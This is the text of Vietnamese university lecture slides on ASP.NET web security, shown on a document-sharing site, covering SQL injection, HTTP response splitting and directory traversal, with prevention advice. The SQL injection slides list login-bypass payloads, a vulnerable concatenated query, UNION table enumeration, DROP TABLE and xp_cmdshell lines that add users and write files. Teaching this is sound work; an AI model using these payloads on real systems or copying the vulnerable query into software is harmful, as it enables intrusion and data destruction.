Bài giảng Lập trình Web ASP.Net với C#: Chương 9 - Th.S Phạm Đào Minh Vũ
lượt xem 5
download
Chương 9 trang bị cho người học những kiến thức cơ bản về bảo mật và quản trị Website. Các nội dung chính trong chương này gồm có: Bảo mật ứng dụng Web, bảo mật Web Server, Domain name and hosting, triển khai Website. Mời các bạn cùng tham khảo.
Bình luận(0) Đăng nhập để gửi bình luận!
Nội dung Text: Bài giảng Lập trình Web ASP.Net với C#: Chương 9 - Th.S Phạm Đào Minh Vũ
- LẬP TRÌNH WEB ASP.NET VỚI C# Giảng Viên: Th.S Phạm Đào Minh Vũ Email: phamdaominhvu@yahoo.com 1
- Chương 9 Bảo mật và Quản Trị Website 1. Bảo mật Website 2. Quản trị Website 388 Trường CĐ CNTT TpHCM
- 9.1 BẢO MẬT WEB Bảo mật ứng dụng Web Bảo mật Web Server 389 Written by: Phạm Đào Minh Vũ Khoa CNTT Trường CĐ CNTT TP.HCM
- 9.1.1 Giới thiệu chung Khi triển khai ứng dụng Web, người ta thường chỉ chú trọng vào giao diện, tính ứng dụng, tốc độ (bao gồm tốc độ xử lý và băng thông), … mà quên mất rằng độ bảo mật của ứng dụng và web server mới là điều quan trọng mang tính sống còn đối với 1 doanh nghiệp Một khi ứng dụng web ngày càng mở rộng thì khả năng xuất hiện lỗi và bị tấn công càng cao Các cuộc tấn công mang nhiều mục đích khác nhau, có thể là đánh cắp thông tin, phá hoại hoặc đôi khi chỉ là đùa giỡn. 390 Written by: Phạm Đào Minh Vũ Khoa CNTT Trường CĐ CNTT TP.HCM
- Khi nói đến vấn đề bảo mật, các chuyên gia đều chú trọng đến sự an toàn của hệ thống mạng và hệ điều hành. Tuy nhiên, theo thống kê thì hơn 70% các cuộc tấn công là thông qua Internet (lợi dụng lỗ hổng bảo mật) và giá trị thiệt hải ước tính hàng tỷ USD mỗi năm Kẻ tấn công (Hacker) thường lợi dụng lỗ hổng bảo mật của phần cứng lẫn phần mềm, cài đặt virus, worm, trojan, lỗi nghiệp vụ của lập trình viên, … để thực hiện các cuộc tấn công. 391 Khoa CNTT Trường CĐ CNTT TP.HCM
- 392 Khoa CNTT Trường CĐ CNTT TP.HCM
- 9.1 BẢO MẬT ỨNG DỤNG WEB Là 1 dạng tấn công phá hoại, mục tiêu là các ứng dụng Web trên Server Mục đích của việc tấn công có thể là do phá hoại, đánh cắp thông tin, thay đổi nội dung website, … 393 Written by: Phạm Đào Minh Vũ Khoa CNTT Trường CĐ CNTT TP.HCM
- 9.2.1. Lỗ hổng bảo mật ứng dụng web SQL-injection HTTP Response Splitting Directory Traversal Cross Site Scripting (XSS) File Inclusion Buffer Overflow … 394 Khoa CNTT Trường CĐ CNTT TP.HCM
- 1 SQL-INJECTION Tấn công SQL injection là hình thức tấn công chèn các đoạn mã SQL cho phép khai thác lỗ hổng bảo mật tồn tại trong cơ sở dữ liệu của một ứng dụng Chiếm hơn 50% các cuộc tấn công vào website CSDL: Access MSSQL MySQL Oracle … Mức độ nguy hiểm: Truy vấn vào CSDL của website Thay đổi thông tin: thêm, xóa, sửa… Chiếm quyền admin của website Thực thi các lệnh hệ thống Làm cơ sở cho các loại tấn công khác: Local, virus, trojan, backdoor, DDoS, Proxy … 395 Khoa CNTT Trường CĐ CNTT TP.HCM
- 2.1. SQL-INJECTION – Các dạng tấn công 1. By pass : bằng pass Code: trang Login.aspx.cs String vUsrName, vPassword; vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") strSQL = "SELECT * FROM T_USERS WHERE USR_NAME=' " & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' " 396 Khoa CNTT Trường CĐ CNTT TP.HCM
- 1 SQL-INJECTION SELECT * FROM users WHERE User: admin & Pass: 123 user=„admin‟ AND pass=„123‟ User: abc‟ or 1=1 or 1=„‟& SELECT * FROM users WHERE Pass: def‟ or 1=1 or 1=„‟ user=„abc‟ or 1=1 or 1=„‟ AND pass=„def‟ or 1=1 or 1=„‟ Luôn luôn đăng nhập được 397 Khoa CNTT Trường CĐ CNTT TP.HCM
- 2.1. SQL-INJECTION – Các dạng tấn công Các dạng truy vấn: ' or 1=1-- ' or 1=1# ' or 1=1/* ' or 1=1-- ') or '1'='1-- " or 1=1-- ') or ('1'='1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a 398 Khoa CNTT Trường CĐ CNTT TP.HCM
- 2.1. SQL-INJECTION – Các dạng tấn công 2. Sử dụng câu lệnh SELECT Kẻ tấn công phải có khả năng hiểu và lợi dụng sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các yếu điểm. Ví dụ: http://www.myhost.com/shownews.asp?ID=123 Câu truy vấn : strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID => http://www.myhost.com/shownews.asp?ID=0 399 or 1=1 Khoa CNTT Trường CĐ CNTT TP.HCM
- 2.1. SQL-INJECTION – Các dạng tấn công 3. Sử dụng câu lệnh UNION strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _ vAuthorName & " ' " Nhập vào : ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' . Nếu hệ thống báo : invalid object name “OtherTable” thì có nghĩa câu truy vấn union đã được thực hiện. Việc còn lại là tìm table tương ứng để tấn công: ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' => trả về tất cả các table 400 Khoa CNTT Trường CĐ CNTT TP.HCM
- 2.1. SQL-INJECTION – Các dạng tấn công Kết hợp với DROP, INSERT SELECT * FROM users WHERE username = „ '; DROP TABLE users; SELECT * FROM DATA WHERE „1' = „1‟; Hay: SELECT * FROM users WHERE username = „ „; Insert into users (id, username, password) values (NULL,„firewall‟,‟hacker‟) ; SELECT * FROM DATA WHERE „1' = „1‟; 401 Khoa CNTT Trường CĐ CNTT TP.HCM
- 2.1. SQL-INJECTION – Các dạng tấn công 4. Sử dụng Store Procedure Dạng tấn công sử dụng stored-procedures master..xp_cmdshell to perform remote a„;exec master..xp_cmdshell “đặt lệnh vào đây” – Ping a„;exec master..xp_cmdshell “ping 10.10.1.2” -- Duyệt cấu trúc a„;exec master..xp_cmdshell “dir c:\*.* /s > c:\directory.txt” -- Tạo file a„;exec master..xp_cmdshell “echo tuonglua is here > c:\hacker.txt” – Tạo user a„;exec master..xp_cmdshell “echo net user tuonglua 123 /add” -- 402 Khoa CNTT Trường CĐ CNTT TP.HCM
- 2.1. SQL-INJECTION – Cách Phòng Chống 1. Lập trình an toàn 2. Kiểm tra dữ liệu đầu vào - Lọc - ', '',",\',\\'/... - only(a-z, A-Z, 1,2,3...9,0) - key word: select, update, convert, like.... - ký tự được chuyển qua html, mssql, mysql 3. Manual error pages 403 Khoa CNTT Trường CĐ CNTT TP.HCM
- 2.1. SQL-INJECTION – Cách Phòng Chống 4. Cập nhật công nghệ: asp, aspx sql2000 > sql2005 Nâng cấp: IIS, PHP, Apache, Mysql, Mssql 5. Chặn hàm: exec, xp, sp... file cmd.exe 6. Manual database: - default? - quyền sa (mssql) - phân quyền user cho database trên từng table 7. Tự tấn công 404 Khoa CNTT Trường CĐ CNTT TP.HCM
- 3. HTTP RESPONSE SPLITTING Lỗi HTTP Response Splitting tấn công vào ứng dụng web và diễn ra khi nó không thể xử lý đúng các thông tin đầu vào người dùng nhập. Kẻ tấn công từ xa có thể gửi một yêu cầu HTTP đặc biệt làm cho máy chủ web định dạng yêu cầu nhầm tưởng rằng nó chứa 2 yêu cầu HTTP chứ không phải một. Chỉ yêu cầu thứ nhất được xử lý bởi người sử dụng. HTTP Response Splitting cho phép tiến hành một lượng lớn các cuộc tấn công kiểu như web cache poisioning, deface, “cross-user defacement”, chặn và ăn cắp thông tin người dùng và Cross site Scritpting. 405 Khoa CNTT Trường CĐ CNTT TP.HCM
- 4. DIRECTORY TRAVERSAL Directory traversal hay còn được biết với một số tên khác như “dot-dot-slash”, “Path Traversal”,”directory clumbing” và “backtracking” là hình thức tấn công truy cập đến những file và thư mục mà được lưu bên ngoài thư mục webroot. Hình thức tấn công này không cần sử dụng một công cụ nào mà chỉ đơn thuần thao tác các biến với ../ (dot-dot-slash) để truy cập đến file, thư mục, bao gồm cả source code, những file hệ thống, … Những hàm của những ngôn ngữ lập trình Web có khả năng gây lỗi Path Traversal như sau: • PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... • JSP/Servlet: java.io.File(), java.io.FileReader(), ... • ASP: include file, include virtual, ... 406 Khoa CNTT Trường CĐ CNTT TP.HCM
CÓ THỂ BẠN MUỐN DOWNLOAD
-
Bài giảng Lập trình Web ASP.NET: Chương 1 - ĐH Lạc Hồng
64 p | 137 | 27
-
Bài giảng Lập trình Web ASP.NET: Chương 4 - ĐH Lạc Hồng
70 p | 133 | 26
-
Bài giảng Lập trình Web ASP.NET: Chương 5 - ĐH Lạc Hồng
33 p | 110 | 21
-
Bài giảng Lập trình Web ASP.NET: Chương 6 - ĐH Lạc Hồng
46 p | 127 | 20
-
Bài giảng Lập trình Web ASP.Net: Chương 7 - Dương Thành Phết
58 p | 107 | 20
-
Bài giảng Lập trình Web ASP.NET: Chương 3 - ĐH Lạc Hồng
63 p | 93 | 18
-
Bài giảng Lập trình Web ASP.Net: Chương 1 - Dương Thành Phết
56 p | 125 | 13
-
Bài giảng Lập trình Web ASP.NET: Chương 7- ĐH Lạc Hồng
20 p | 90 | 13
-
Bài giảng Lập trình Web ASP.Net: Chương 6 - Dương Thành Phết
25 p | 118 | 12
-
Bài giảng Lập trình Web ASP.Net: Chương 3 - Dương Thành Phết
54 p | 84 | 12
-
Bài giảng Lập trình Web ASP.Net: Chương 2 - Dương Thành Phết
26 p | 102 | 12
-
Bài giảng Lập trình Web ASP.NET: Chương 8- ĐH Lạc Hồng
24 p | 77 | 11
-
Bài giảng Lập trình Web ASP.Net: Chương 9 - Dương Thành Phết
3 p | 110 | 11
-
Bài giảng Lập trình Web ASP.Net: Chương 5 - Dương Thành Phết
66 p | 92 | 10
-
Bài giảng Lập trình web với ASP
0 p | 73 | 10
-
Bài giảng Lập trình website ASP.NET: Phần 1 - Trường ĐH Công nghiệp Quảng Ninh
78 p | 19 | 8
-
Bài giảng Lập trình website ASP.NET: Phần 2 - Trường ĐH Công nghiệp Quảng Ninh
62 p | 26 | 8
-
Bài giảng Lập trình web: Tổng quan về lập trình web phía Server Asp.Net
56 p | 51 | 3
Chịu trách nhiệm nội dung:
Nguyễn Công Hà - Giám đốc Công ty TNHH TÀI LIỆU TRỰC TUYẾN VI NA
LIÊN HỆ
Địa chỉ: P402, 54A Nơ Trang Long, Phường 14, Q.Bình Thạnh, TP.HCM
Hotline: 093 303 0098
Email: support@tailieu.vn